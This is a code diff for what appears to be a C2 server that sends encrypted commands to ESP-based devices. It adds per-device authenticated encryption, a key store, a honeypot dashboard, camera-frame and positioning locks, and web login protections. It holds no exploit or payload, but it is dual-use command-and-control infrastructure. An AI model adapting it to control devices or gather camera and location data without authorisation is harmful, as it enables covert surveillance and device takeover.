||||
|
||||
Display.command_sent(d.id, cmd_name, request_id)
|
||||
self.transport.send_command(d.sock, cmd)
|
||||
self.transport.send_command(d.sock, cmd, d.id)
|
||||
self.active_commands[request_id] = {
|
||||
"device_id": d.id,
|
||||
"command_name": cmd_name,
|
||||
@ -340,11 +349,42 @@ class CLI:
|
||||
Display.system_message("Web server is already running.")
|
||||
return
|
||||
|
||||
# Initialize honeypot dashboard components
|
||||
try:
|
||||
from hp_dashboard import HpStore, HpCommander, HpAlertEngine, HpGeoLookup
|
||||
if not self.hp_store:
|
||||
self.hp_geo = HpGeoLookup()
|
||||
self.hp_store = HpStore(geo_lookup=self.hp_geo)
|
||||
if not self.hp_alerts:
|
||||
self.hp_alerts = HpAlertEngine()
|
||||
self.hp_alerts.set_store(self.hp_store)
|
||||
if not self.hp_commander:
|
||||
self.hp_commander = HpCommander(
|
||||
get_transport=lambda: self.transport,
|
||||
get_registry=lambda: self.registry,
|
||||
)
|
||||
# Wire into transport for event/response routing
|
||||
self.transport.hp_store = self.hp_store
|
||||
self.transport.hp_commander = self.hp_commander
|
||||
Display.system_message("Honeypot dashboard enabled (alerts + geo active)")
|
||||
except ImportError:
|
||||
Display.system_message("Honeypot dashboard not available (hp_dashboard not found)")
|
||||
|
||||
self.web_server = UnifiedWebServer(
|
||||
host=WEB_HOST,
|
||||
port=WEB_PORT,
|
||||
image_dir=IMAGE_DIR,
|
||||
username=DEFAULT_USERNAME,
|
||||
password=DEFAULT_PASSWORD,
|
||||
secret_key=FLASK_SECRET_KEY,
|
||||
device_registry=self.registry,
|
||||
mlat_engine=self.mlat_engine,
|
||||
multilat_token=MULTILAT_AUTH_TOKEN,
|
||||
camera_receiver=self.udp_receiver
|
||||
camera_receiver=self.udp_receiver,
|
||||
hp_store=self.hp_store,
|
||||
hp_commander=self.hp_commander,
|
||||
hp_alerts=self.hp_alerts,
|
||||
hp_geo=self.hp_geo,
|
||||
)
|
||||
|
||||
if self.web_server.start():
|
||||
@ -143,7 +143,7 @@ class HelpManager:
|
||||
self._out(" start Start the web server (dashboard, cameras, MLAT)")
|
||||
self._out(" stop Stop the web server")
|
||||
self._out(" status Show server status and MLAT engine info")
|
||||
self._out(" Default URL: http://127.0.0.1:5000")
|
||||
self._out(" Default URL: http://127.0.0.1:8000 (configurable via .env)")
|
||||
|
||||
elif command_name == "camera":
|
||||
self._out("Help for 'camera' command:")
|
||||
@ -153,7 +153,7 @@ class HelpManager:
|
||||
self._out(" start Start UDP receiver for camera frames")
|
||||
self._out(" stop Stop UDP receiver")
|
||||
self._out(" status Show receiver stats (packets, frames, errors)")
|
||||
self._out(" Default port: 12345")
|
||||
self._out(" Default port: 5000 (configurable via .env)")
|
||||
|
||||
elif command_name == "modules":
|
||||
self._out("Help for 'modules' command:")
|
||||
58
tools/C3PO/core/crypto.py
Normal file
58
tools/C3PO/core/crypto.py
Normal file
@ -0,0 +1,58 @@
|
||||
import base64
|
||||
|
||||
from Crypto.Cipher import ChaCha20_Poly1305
|
||||
from Crypto.Protocol.KDF import HKDF
|
||||
from Crypto.Hash import SHA256
|
||||
|
||||
HKDF_INFO = b"espilon-c2-v1"
|
||||
|
||||
|
||||
class CryptoContext:
|
||||
"""Per-device AEAD crypto context.
|
||||
|
||||
Derives a 32-byte encryption key from the device's master key
|
||||
using HKDF-SHA256 with device_id as salt.
|
||||
"""
|
||||
|
||||
def __init__(self, master_key: bytes, device_id: str):
|
||||
if len(master_key) != 32:
|
||||
raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}")
|
||||
self.derived_key = HKDF(
|
||||
master=master_key,
|
||||
key_len=32,
|
||||
salt=device_id.encode(),
|
||||
hashmod=SHA256,
|
||||
context=HKDF_INFO,
|
||||
)
|
||||
|
||||
# =========================
|
||||
# ChaCha20-Poly1305 AEAD
|
||||
# =========================
|
||||
def encrypt(self, data: bytes) -> bytes:
|
||||
"""Encrypt and authenticate. Returns nonce[12] || ciphertext || tag[16]."""
|
||||
cipher = ChaCha20_Poly1305.new(key=self.derived_key)
|
||||
ct, tag = cipher.encrypt_and_digest(data)
|
||||
return cipher.nonce + ct + tag
|
||||
|
||||
def decrypt(self, data: bytes) -> bytes:
|
||||
"""Decrypt and verify. Input: nonce[12] || ciphertext || tag[16].
|
||||
Raises ValueError on authentication failure.
|
||||
"""
|
||||
if len(data) < 28:
|
||||
raise ValueError(f"Encrypted payload too short ({len(data)} bytes)")
|
||||
nonce = data[:12]
|
||||
tag = data[-16:]
|
||||
ct = data[12:-16]
|
||||
cipher = ChaCha20_Poly1305.new(key=self.derived_key, nonce=nonce)
|
||||
return cipher.decrypt_and_verify(ct, tag)
|
||||
|
||||
# =========================
|
||||
# Base64
|
||||
# =========================
|
||||
@staticmethod
|
||||
def b64_encode(data: bytes) -> bytes:
|
||||
return base64.b64encode(data)
|
||||
|
||||
@staticmethod
|
||||
def b64_decode(data: bytes) -> bytes:
|
||||
return base64.b64decode(data)
|
||||
82
tools/C3PO/core/keystore.py
Normal file
82
tools/C3PO/core/keystore.py
Normal file
@ -0,0 +1,82 @@
|
||||
import json
|
||||
import os
|
||||
import threading
|
||||
from typing import Optional
|
||||
|
||||
|
||||
class KeyStore:
|
||||
"""Thread-safe per-device master key storage backed by a JSON file.
|
||||
|
||||
File format (keys.json):
|
||||
{
|
||||
"device_id_1": "hex_encoded_32_byte_master_key",
|
||||
"device_id_2": "hex_encoded_32_byte_master_key",
|
||||
...
|
||||
}
|
||||
"""
|
||||
|
||||
def __init__(self, path: str = "keys.json"):
|
||||
self.path = os.path.abspath(path)
|
||||
self._keys: dict[str, bytes] = {}
|
||||
self._lock = threading.Lock()
|
||||
self.load()
|
||||
|
||||
def load(self) -> None:
|
||||
"""Load keys from JSON file. Creates empty file if not found."""
|
||||
if not os.path.exists(self.path):
|
||||
return
|
||||
try:
|
||||
with open(self.path, "r") as f:
|
||||
data = json.load(f)
|
||||
with self._lock:
|
||||
self._keys = {
|
||||
did: bytes.fromhex(hex_key)
|
||||
for did, hex_key in data.items()
|
||||
}
|
||||
except (json.JSONDecodeError, ValueError) as e:
|
||||
print(f"[KeyStore] Warning: failed to load {self.path}: {e}")
|
||||
|
||||
def save(self) -> None:
|
||||
"""Persist keys to JSON file."""
|
||||
with self._lock:
|
||||
data = {
|
||||
did: key.hex()
|
||||
for did, key in self._keys.items()
|
||||
}
|
||||
with open(self.path, "w") as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
def get(self, device_id: str) -> Optional[bytes]:
|
||||
"""Return 32-byte master key for a device, or None if unknown."""
|
||||
with self._lock:
|
||||
return self._keys.get(device_id)
|
||||
|
||||
def add(self, device_id: str, master_key: bytes) -> None:
|
||||
"""Register a device's master key and persist."""
|
||||
if len(master_key) != 32:
|
||||
raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}")
|
||||
with self._lock:
|
||||
self._keys[device_id] = master_key
|
||||
self.save()
|
||||
|
||||
def remove(self, device_id: str) -> bool:
|
||||
"""Remove a device's key. Returns True if it existed."""
|
||||
with self._lock:
|
||||
if device_id in self._keys:
|
||||
del self._keys[device_id]
|
||||
self.save()
|
||||
return True
|
||||
return False
|
||||
|
||||
def list_devices(self) -> list[str]:
|
||||
"""Return list of known device IDs."""
|
||||
with self._lock:
|
||||
return list(self._keys.keys())
|
||||
|
||||
def __len__(self) -> int:
|
||||
with self._lock:
|
||||
return len(self._keys)
|
||||
|
||||
def __contains__(self, device_id: str) -> bool:
|
||||
with self._lock:
|
||||
return device_id in self._keys
|
||||
@ -1,5 +1,6 @@
|
||||
from core.crypto import CryptoContext
|
||||
from core.device import Device
|
||||
from core.keystore import KeyStore
|
||||
from core.registry import DeviceRegistry
|
||||
from log.manager import LogManager
|
||||
from utils.display import Display
|
||||
@ -13,49 +14,84 @@ if TYPE_CHECKING:
|
||||
|
||||
|
||||
class Transport:
|
||||
def __init__(self, registry: DeviceRegistry, logger: LogManager, cli_instance: 'CLI' = None):
|
||||
self.crypto = CryptoContext()
|
||||
def __init__(self, registry: DeviceRegistry, logger: LogManager,
|
||||
keystore: KeyStore, cli_instance: 'CLI' = None):
|
||||
self.registry = registry
|
||||
self.logger = logger
|
||||
self.cli = cli_instance # CLI instance for callback
|
||||
self.command_responses = {} # To track command responses
|
||||
self.keystore = keystore
|
||||
self.cli = cli_instance
|
||||
self.command_responses = {}
|
||||
self.hp_store = None
|
||||
self.hp_commander = None
|
||||
|
||||
# Cache of CryptoContext per device_id (HKDF derivation is expensive)
|
||||
self._crypto_cache: dict[str, CryptoContext] = {}
|
||||
|
||||
def set_cli(self, cli_instance: 'CLI'):
|
||||
self.cli = cli_instance
|
||||
|
||||
def _get_crypto(self, device_id: str) -> CryptoContext | None:
|
||||
"""Get or create a CryptoContext for the given device."""
|
||||
if device_id in self._crypto_cache:
|
||||
return self._crypto_cache[device_id]
|
||||
|
||||
master_key = self.keystore.get(device_id)
|
||||
if master_key is None:
|
||||
return None
|
||||
|
||||
ctx = CryptoContext(master_key, device_id)
|
||||
self._crypto_cache[device_id] = ctx
|
||||
return ctx
|
||||
|
||||
# ==================================================
|
||||
# RX (ESP → C2)
|
||||
# ==================================================
|
||||
def handle_incoming(self, sock, addr, raw_data: bytes):
|
||||
"""
|
||||
raw_data = BASE64( ChaCha20( Protobuf AgentMessage ) )
|
||||
raw_data = device_id:BASE64( nonce[12] || ChaCha20-Poly1305( Protobuf ) || tag[16] )
|
||||
"""
|
||||
# Removed verbose transport debug prints
|
||||
|
||||
# 1) base64 decode
|
||||
try:
|
||||
cipher = self.crypto.b64_decode(raw_data)
|
||||
except Exception as e:
|
||||
Display.error(f"Base64 decode failed from {addr}: {e}")
|
||||
# 1) Parse device_id prefix
|
||||
raw_str = raw_data
|
||||
if b":" not in raw_str:
|
||||
Display.error(f"No device_id prefix in message from {addr}")
|
||||
return
|
||||
|
||||
# 2) chacha decrypt
|
||||
try:
|
||||
protobuf_bytes = self.crypto.decrypt(cipher)
|
||||
except Exception as e:
|
||||
Display.error(f"Decrypt failed from {addr}: {e}")
|
||||
device_id_bytes, b64_payload = raw_str.split(b":", 1)
|
||||
device_id = device_id_bytes.decode(errors="ignore").strip()
|
||||
|
||||
if not device_id:
|
||||
Display.error(f"Empty device_id from {addr}")
|
||||
return
|
||||
|
||||
# 3) protobuf decode → AgentMessage
|
||||
# 2) Lookup crypto key for this device
|
||||
crypto = self._get_crypto(device_id)
|
||||
if crypto is None:
|
||||
Display.error(f"Unknown device '{device_id}' from {addr} – no key in keystore")
|
||||
return
|
||||
|
||||
# 3) Base64 decode
|
||||
try:
|
||||
encrypted = crypto.b64_decode(b64_payload)
|
||||
except Exception as e:
|
||||
Display.error(f"Base64 decode failed from {device_id}@{addr}: {e}")
|
||||
return
|
||||
|
||||
# 4) Decrypt + verify (AEAD)
|
||||
try:
|
||||
protobuf_bytes = crypto.decrypt(encrypted)
|
||||
except Exception as e:
|
||||
Display.error(f"Decrypt/auth failed from {device_id}@{addr}: {e}")
|
||||
return
|
||||
|
||||
# 5) Protobuf decode → AgentMessage
|
||||
try:
|
||||
msg = AgentMessage.FromString(protobuf_bytes)
|
||||
except Exception as e:
|
||||
Display.error(f"Protobuf decode failed from {addr}: {e}")
|
||||
Display.error(f"Protobuf decode failed from {device_id}@{addr}: {e}")
|
||||
return
|
||||
|
||||
if not msg.device_id:
|
||||
Display.error("AgentMessage received without device_id")
|
||||
return
|
||||
msg.device_id = device_id
|
||||
|
||||
self._dispatch(sock, addr, msg)
|
||||
|
||||
@ -100,7 +136,7 @@ class Transport:
|
||||
cmd.device_id = device.id
|
||||
cmd.command_name = "system_info"
|
||||
cmd.request_id = f"auto-sysinfo-{device.id}"
|
||||
self.send_command(device.sock, cmd)
|
||||
self.send_command(device.sock, cmd, device.id)
|
||||
except Exception as e:
|
||||
Display.error(f"Auto system_info failed for {device.id}: {e}")
|
||||
|
||||
@ -146,6 +182,9 @@ class Transport:
|
||||
# Check if this is auto system_info response
|
||||
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
|
||||
self._parse_system_info(device, payload_str)
|
||||
elif msg.request_id and msg.request_id.startswith("hp-") and self.hp_commander:
|
||||
# Route honeypot dashboard command responses
|
||||
self.hp_commander.handle_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||
elif msg.request_id and self.cli:
|
||||
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||
else:
|
||||
@ -172,6 +211,9 @@ class Transport:
|
||||
elif msg.type == AgentMsgType.AGENT_LOG:
|
||||
Display.device_event(device.id, f"LOG: {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_DATA:
|
||||
# Route honeypot events to hp_store
|
||||
if payload_str.startswith("HP|") and self.hp_store:
|
||||
self.hp_store.parse_and_store(device.id, payload_str)
|
||||
Display.device_event(device.id, f"DATA: {payload_str}")
|
||||
else:
|
||||
Display.device_event(device.id, f"UNKNOWN Message Type ({AgentMsgType.Name(msg.type)}): {payload_str}")
|
||||
@ -179,21 +221,26 @@ class Transport:
|
||||
# ==================================================
|
||||
# TX (C2 → ESP)
|
||||
# ==================================================
|
||||
def send_command(self, sock, cmd: Command):
|
||||
def send_command(self, sock, cmd: Command, device_id: str = None):
|
||||
"""
|
||||
Command → Protobuf → ChaCha20 → Base64 → \\n
|
||||
Command → Protobuf → ChaCha20-Poly1305 → Base64 → \\n
|
||||
"""
|
||||
target_id = device_id or cmd.device_id
|
||||
crypto = self._get_crypto(target_id)
|
||||
if crypto is None:
|
||||
Display.error(f"Cannot send to '{target_id}' – no key in keystore")
|
||||
return
|
||||
|
||||
try:
|
||||
proto = cmd.SerializeToString()
|
||||
# Removed verbose transport debug prints
|
||||
|
||||
# Encrypt
|
||||
cipher = self.crypto.encrypt(proto)
|
||||
# Encrypt (AEAD)
|
||||
encrypted = crypto.encrypt(proto)
|
||||
|
||||
# Base64
|
||||
b64 = self.crypto.b64_encode(cipher)
|
||||
b64 = crypto.b64_encode(encrypted)
|
||||
|
||||
sock.sendall(b64 + b"\n")
|
||||
|
||||
except Exception as e:
|
||||
Display.error(f"Failed to send command to {cmd.device_id}: {e}")
|
||||
Display.error(f"Failed to send command to {target_id}: {e}")
|
||||
21
tools/C3PO/requirements.txt
Normal file
21
tools/C3PO/requirements.txt
Normal file
@ -0,0 +1,21 @@
|
||||
# Crypto
|
||||
pycryptodome>=3.15.0
|
||||
|
||||
# Protocol Buffers
|
||||
protobuf>=4.21.0
|
||||
|
||||
# Web Server
|
||||
flask>=2.0.0
|
||||
|
||||
# Configuration
|
||||
python-dotenv>=1.0.0
|
||||
|
||||
# TUI Interface
|
||||
textual>=0.40.0
|
||||
|
||||
# Camera & Video
|
||||
opencv-python>=4.8.0
|
||||
numpy>=1.24.0
|
||||
|
||||
# MLAT (Multilateration)
|
||||
scipy>=1.10.0
|
||||
|
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 18 KiB |
@ -168,13 +168,15 @@ class UDPReceiver:
|
||||
# IP to device_id mapping cache
|
||||
self._ip_to_device: Dict[str, str] = {}
|
||||
|
||||
# Statistics
|
||||
# Statistics (protected by _stats_lock)
|
||||
self._stats_lock = threading.Lock()
|
||||
self.frames_received = 0
|
||||
self.invalid_tokens = 0
|
||||
self.decode_errors = 0
|
||||
self.packets_received = 0
|
||||
|
||||
# Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}}
|
||||
# Active cameras tracking (protected by _cameras_lock)
|
||||
self._cameras_lock = threading.Lock()
|
||||
self._active_cameras: Dict[str, dict] = {}
|
||||
|
||||
os.makedirs(self.image_dir, exist_ok=True)
|
||||
@ -191,7 +193,8 @@ class UDPReceiver:
|
||||
@property
|
||||
def active_cameras(self) -> list:
|
||||
"""Returns list of active camera device IDs."""
|
||||
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
|
||||
with self._cameras_lock:
|
||||
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
|
||||
|
||||
def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
|
||||
"""Look up device_id from IP address using device registry."""
|
||||
@ -305,10 +308,12 @@ class UDPReceiver:
|
||||
except OSError:
|
||||
break
|
||||
|
||||
self.packets_received += 1
|
||||
with self._stats_lock:
|
||||
self.packets_received += 1
|
||||
|
||||
if not data.startswith(SECRET_TOKEN):
|
||||
self.invalid_tokens += 1
|
||||
with self._stats_lock:
|
||||
self.invalid_tokens += 1
|
||||
continue
|
||||
|
||||
payload = data[len(SECRET_TOKEN):]
|
||||
@ -335,7 +340,8 @@ class UDPReceiver:
|
||||
if frame is not None:
|
||||
self._process_frame(device_id, frame, addr)
|
||||
else:
|
||||
self.decode_errors += 1
|
||||
with self._stats_lock:
|
||||
self.decode_errors += 1
|
||||
else:
|
||||
assembler.add_chunk(payload)
|
||||
|
||||
@ -348,19 +354,22 @@ class UDPReceiver:
|
||||
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
|
||||
frame = self._decode_frame(frame_data)
|
||||
if frame is None:
|
||||
self.decode_errors += 1
|
||||
with self._stats_lock:
|
||||
self.decode_errors += 1
|
||||
return
|
||||
self._process_frame(camera_id, frame, addr)
|
||||
|
||||
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
|
||||
self.frames_received += 1
|
||||
with self._stats_lock:
|
||||
self.frames_received += 1
|
||||
|
||||
# Update camera tracking
|
||||
self._active_cameras[camera_id] = {
|
||||
"last_frame": time.time(),
|
||||
"active": True,
|
||||
"addr": addr
|
||||
}
|
||||
with self._cameras_lock:
|
||||
self._active_cameras[camera_id] = {
|
||||
"last_frame": time.time(),
|
||||
"active": True,
|
||||
"addr": addr
|
||||
}
|
||||
|
||||
# Save frame
|
||||
self._save_frame(camera_id, frame)
|
||||
@ -456,13 +465,15 @@ class UDPReceiver:
|
||||
|
||||
def get_stats(self) -> dict:
|
||||
recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
|
||||
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
|
||||
return {
|
||||
"running": self.is_running,
|
||||
"packets_received": self.packets_received,
|
||||
"frames_received": self.frames_received,
|
||||
"invalid_tokens": self.invalid_tokens,
|
||||
"decode_errors": self.decode_errors,
|
||||
"active_cameras": active_count,
|
||||
"active_recordings": recording_count
|
||||
}
|
||||
with self._cameras_lock:
|
||||
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
|
||||
with self._stats_lock:
|
||||
return {
|
||||
"running": self.is_running,
|
||||
"packets_received": self.packets_received,
|
||||
"frames_received": self.frames_received,
|
||||
"invalid_tokens": self.invalid_tokens,
|
||||
"decode_errors": self.decode_errors,
|
||||
"active_cameras": active_count,
|
||||
"active_recordings": recording_count
|
||||
}
|
||||
@ -20,6 +20,9 @@
|
||||
<a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}">
|
||||
MLAT
|
||||
</a>
|
||||
<a href="/honeypot" class="nav-link {% if active_page == 'honeypot' %}active{% endif %}">
|
||||
Honeypot
|
||||
</a>
|
||||
</nav>
|
||||
<div class="header-right">
|
||||
<div class="status">
|
||||
@ -93,20 +93,30 @@
|
||||
return hours + 'h ' + mins + 'm';
|
||||
}
|
||||
|
||||
function escapeHtml(str) {
|
||||
const div = document.createElement('div');
|
||||
div.appendChild(document.createTextNode(str));
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
function createDeviceCard(device) {
|
||||
const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive';
|
||||
const safeId = escapeHtml(String(device.id));
|
||||
const safeStatus = escapeHtml(String(device.status));
|
||||
const safeIp = escapeHtml(String(device.ip));
|
||||
const safePort = escapeHtml(String(device.port));
|
||||
|
||||
return `
|
||||
<div class="card" data-device-id="${device.id}">
|
||||
<div class="card" data-device-id="${safeId}">
|
||||
<div class="card-header">
|
||||
<span class="name">${device.id}</span>
|
||||
<span class="badge ${statusClass}">${device.status}</span>
|
||||
<span class="name">${safeId}</span>
|
||||
<span class="badge ${statusClass}">${safeStatus}</span>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<div class="device-info">
|
||||
<div class="device-row">
|
||||
<span class="label">IP Address</span>
|
||||
<span class="value">${device.ip}:${device.port}</span>
|
||||
<span class="value">${safeIp}:${safePort}</span>
|
||||
</div>
|
||||
<div class="device-row">
|
||||
<span class="label">Connected</span>
|
||||
@ -15,6 +15,7 @@
|
||||
{% endif %}
|
||||
|
||||
<form method="post">
|
||||
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
|
||||
<div class="form-group">
|
||||
<label for="username">Username</label>
|
||||
<input type="text" id="username" name="username" required autofocus>
|
||||
46
tools/C3PO/web/auth.py
Normal file
46
tools/C3PO/web/auth.py
Normal file
@ -0,0 +1,46 @@
|
||||
"""Authentication decorators for Flask routes."""
|
||||
|
||||
import hmac
|
||||
from functools import wraps
|
||||
from flask import session, redirect, url_for, request, jsonify
|
||||
|
||||
|
||||
def create_auth_decorators(get_multilat_token):
|
||||
"""
|
||||
Create auth decorators with access to server config.
|
||||
|
||||
Args:
|
||||
get_multilat_token: Callable that returns the MLAT API token
|
||||
|
||||
Returns:
|
||||
Tuple of (require_login, require_api_auth) decorators
|
||||
"""
|
||||
|
||||
def require_login(f):
|
||||
"""Decorator requiring user to be logged in via session."""
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
if not session.get("logged_in"):
|
||||
return redirect(url_for("pages.login"))
|
||||
return f(*args, **kwargs)
|
||||
return decorated
|
||||
|
||||
def require_api_auth(f):
|
||||
"""Decorator requiring session login OR Bearer token."""
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
# Session auth
|
||||
if session.get("logged_in"):
|
||||
return f(*args, **kwargs)
|
||||
|
||||
# Bearer token auth
|
||||
auth_header = request.headers.get("Authorization", "")
|
||||
if auth_header.startswith("Bearer "):
|
||||
token = auth_header[7:]
|
||||
if hmac.compare_digest(token, get_multilat_token()):
|
||||
return f(*args, **kwargs)
|
||||
|
||||
return jsonify({"error": "Unauthorized"}), 401
|
||||
return decorated
|
||||
|
||||
return require_login, require_api_auth
|
||||
@ -1,5 +1,6 @@
|
||||
"""MLAT (Multilateration) engine for device positioning with GPS support."""
|
||||
|
||||
import threading
|
||||
import time
|
||||
import re
|
||||
import math
|
||||
@ -36,6 +37,9 @@ class MlatEngine:
|
||||
self.path_loss_n = path_loss_n
|
||||
self.smoothing_window = smoothing_window
|
||||
|
||||
# Thread safety lock
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}}
|
||||
self.scanners: dict = {}
|
||||
|
||||
@ -180,23 +184,24 @@ class MlatEngine:
|
||||
if timestamp is None:
|
||||
timestamp = time.time()
|
||||
|
||||
if scanner_id not in self.scanners:
|
||||
self.scanners[scanner_id] = {
|
||||
"position": {"lat": lat, "lon": lon},
|
||||
"rssi_history": [],
|
||||
"last_seen": timestamp
|
||||
}
|
||||
with self._lock:
|
||||
if scanner_id not in self.scanners:
|
||||
self.scanners[scanner_id] = {
|
||||
"position": {"lat": lat, "lon": lon},
|
||||
"rssi_history": [],
|
||||
"last_seen": timestamp
|
||||
}
|
||||
|
||||
scanner = self.scanners[scanner_id]
|
||||
scanner["position"] = {"lat": lat, "lon": lon}
|
||||
scanner["rssi_history"].append(rssi)
|
||||
scanner["last_seen"] = timestamp
|
||||
scanner = self.scanners[scanner_id]
|
||||
scanner["position"] = {"lat": lat, "lon": lon}
|
||||
scanner["rssi_history"].append(rssi)
|
||||
scanner["last_seen"] = timestamp
|
||||
|
||||
# Keep only recent readings for smoothing
|
||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||
# Keep only recent readings for smoothing
|
||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||
|
||||
self._coord_mode = 'gps'
|
||||
self._coord_mode = 'gps'
|
||||
|
||||
def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None):
|
||||
"""
|
||||
@ -212,22 +217,23 @@ class MlatEngine:
|
||||
if timestamp is None:
|
||||
timestamp = time.time()
|
||||
|
||||
if scanner_id not in self.scanners:
|
||||
self.scanners[scanner_id] = {
|
||||
"position": {"x": x, "y": y},
|
||||
"rssi_history": [],
|
||||
"last_seen": timestamp
|
||||
}
|
||||
with self._lock:
|
||||
if scanner_id not in self.scanners:
|
||||
self.scanners[scanner_id] = {
|
||||
"position": {"x": x, "y": y},
|
||||
"rssi_history": [],
|
||||
"last_seen": timestamp
|
||||
}
|
||||
|
||||
scanner = self.scanners[scanner_id]
|
||||
scanner["position"] = {"x": x, "y": y}
|
||||
scanner["rssi_history"].append(rssi)
|
||||
scanner["last_seen"] = timestamp
|
||||
scanner = self.scanners[scanner_id]
|
||||
scanner["position"] = {"x": x, "y": y}
|
||||
scanner["rssi_history"].append(rssi)
|
||||
scanner["last_seen"] = timestamp
|
||||
|
||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||
|
||||
self._coord_mode = 'local'
|
||||
self._coord_mode = 'local'
|
||||
|
||||
def rssi_to_distance(self, rssi: float) -> float:
|
||||
"""
|
||||
@ -253,11 +259,17 @@ class MlatEngine:
|
||||
Returns:
|
||||
dict with position, confidence, and scanner info, or error
|
||||
"""
|
||||
# Get active scanners (those with readings)
|
||||
active_scanners = [
|
||||
(sid, s) for sid, s in self.scanners.items()
|
||||
if s["rssi_history"]
|
||||
]
|
||||
# Snapshot scanner data under lock
|
||||
with self._lock:
|
||||
active_scanners = [
|
||||
(sid, {
|
||||
"position": dict(s["position"]),
|
||||
"rssi_history": list(s["rssi_history"]),
|
||||
"last_seen": s["last_seen"]
|
||||
})
|
||||
for sid, s in self.scanners.items()
|
||||
if s["rssi_history"]
|
||||
]
|
||||
|
||||
if len(active_scanners) < 3:
|
||||
return {
|
||||
@ -342,7 +354,8 @@ class MlatEngine:
|
||||
"y": round(float(target_y), 2)
|
||||
}
|
||||
|
||||
self._last_calculation = time.time()
|
||||
with self._lock:
|
||||
self._last_calculation = time.time()
|
||||
|
||||
return {
|
||||
"position": self._last_target,
|
||||
@ -366,7 +379,13 @@ class MlatEngine:
|
||||
now = time.time()
|
||||
scanners_data = []
|
||||
|
||||
for scanner_id, scanner in self.scanners.items():
|
||||
with self._lock:
|
||||
scanners_snapshot = dict(self.scanners)
|
||||
last_target = self._last_target
|
||||
last_calc = self._last_calculation
|
||||
coord_mode = self._coord_mode
|
||||
|
||||
for scanner_id, scanner in scanners_snapshot.items():
|
||||
avg_rssi = None
|
||||
distance = None
|
||||
|
||||
@ -393,15 +412,15 @@ class MlatEngine:
|
||||
"path_loss_n": self.path_loss_n,
|
||||
"smoothing_window": self.smoothing_window
|
||||
},
|
||||
"coord_mode": self._coord_mode
|
||||
"coord_mode": coord_mode
|
||||
}
|
||||
|
||||
# Add target if available
|
||||
if self._last_target and (now - self._last_calculation) < 60:
|
||||
if last_target and (now - last_calc) < 60:
|
||||
result["target"] = {
|
||||
"position": self._last_target,
|
||||
"calculated_at": self._last_calculation,
|
||||
"age_seconds": round(now - self._last_calculation, 1)
|
||||
"position": last_target,
|
||||
"calculated_at": last_calc,
|
||||
"age_seconds": round(now - last_calc, 1)
|
||||
}
|
||||
|
||||
return result
|
||||
@ -424,6 +443,7 @@ class MlatEngine:
|
||||
|
||||
def clear(self):
|
||||
"""Clear all scanner data and reset state."""
|
||||
self.scanners.clear()
|
||||
self._last_target = None
|
||||
self._last_calculation = 0
|
||||
with self._lock:
|
||||
self.scanners.clear()
|
||||
self._last_target = None
|
||||
self._last_calculation = 0
|
||||
15
tools/C3PO/web/routes/__init__.py
Normal file
15
tools/C3PO/web/routes/__init__.py
Normal file
@ -0,0 +1,15 @@
|
||||
"""Flask route blueprints for ESPILON C2 web server."""
|
||||
|
||||
from .pages import create_pages_blueprint
|
||||
from .api_devices import create_devices_blueprint
|
||||
from .api_cameras import create_cameras_blueprint
|
||||
from .api_mlat import create_mlat_blueprint
|
||||
from .api_stats import create_stats_blueprint
|
||||
|
||||
__all__ = [
|
||||
"create_pages_blueprint",
|
||||
"create_devices_blueprint",
|
||||
"create_cameras_blueprint",
|
||||
"create_mlat_blueprint",
|
||||
"create_stats_blueprint",
|
||||
]
|
||||
99
tools/C3PO/web/routes/api_cameras.py
Normal file
99
tools/C3PO/web/routes/api_cameras.py
Normal file
@ -0,0 +1,99 @@
|
||||
"""Camera and Recording API routes."""
|
||||
|
||||
import os
|
||||
from flask import Blueprint, jsonify, request
|
||||
|
||||
|
||||
def create_cameras_blueprint(server_config):
|
||||
"""
|
||||
Create the cameras API blueprint.
|
||||
|
||||
Args:
|
||||
server_config: Dict with keys:
|
||||
- image_dir: Camera images directory
|
||||
- c2_root: C2 root directory path
|
||||
- get_camera_receiver: Callable returning camera receiver
|
||||
- require_api_auth: Auth decorator
|
||||
"""
|
||||
bp = Blueprint("api_cameras", __name__, url_prefix="/api")
|
||||
|
||||
image_dir = server_config["image_dir"]
|
||||
c2_root = server_config["c2_root"]
|
||||
get_receiver = server_config["get_camera_receiver"]
|
||||
require_api_auth = server_config["require_api_auth"]
|
||||
|
||||
# ========== Camera List ==========
|
||||
|
||||
@bp.route("/cameras")
|
||||
@require_api_auth
|
||||
def list_cameras():
|
||||
full_image_dir = os.path.join(c2_root, image_dir)
|
||||
